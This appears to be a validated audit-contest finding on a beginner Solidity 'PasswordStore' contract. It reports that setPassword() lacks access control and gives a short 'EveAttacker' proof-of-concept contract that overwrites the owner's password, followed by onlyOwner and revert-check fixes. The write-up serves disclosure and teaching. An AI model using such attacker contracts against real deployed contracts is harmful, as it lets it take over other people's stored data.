First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Password overwrite due to lack of Access Control

0xKriLuv

Summary

The 'setPassword()' function, initially intended for the owner to set their password, lacks an 'onlyOwner' modifier or condition check. As a result, any external entity can access 'setPassword()' and change the password without the owner's consent, rendering it useless.

Vulnerability Details

The below contract by Eve attacks the PasswordStore contract by calling the 'setPassword(string)' function in the PasswordStore contract and passes the new password as the argument. Eve will simply call the attackPasswordStore function and set the new password for the owner of the PasswordStore contract.

contract EveAttacker{
event Response(bool success);
PasswordStore passwordstore;
​
constructor(PasswordStore _passwordstore){
passwordstore = _passwordstore;
}
/*
* @notice This function allows Eve to set a new password for the PasswordStore contract.
* @param pass, The new password to set.
*/
function attackPasswordStore(string memory pass) external{
(bool success,) = address(passwordstore).call(abi.encodeWithSignature("setPassword(string)",pass));
emit Response(success);
​
}
}

Impact

The owner of the password will not be able to apply his password for the desired service thus rendering the password and whole contract meaningless.

Tools Used

Solidity, Manual Review

Recommendations

  1. The 'onlyOwner' modifier can be used for 'setPassword(string)' function to allow only owner of the contract to set a new password for himself.

  2. A revert condition as used in the 'getPassword()' function can also mitigate this attack and only allow the owner to set a new password.

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.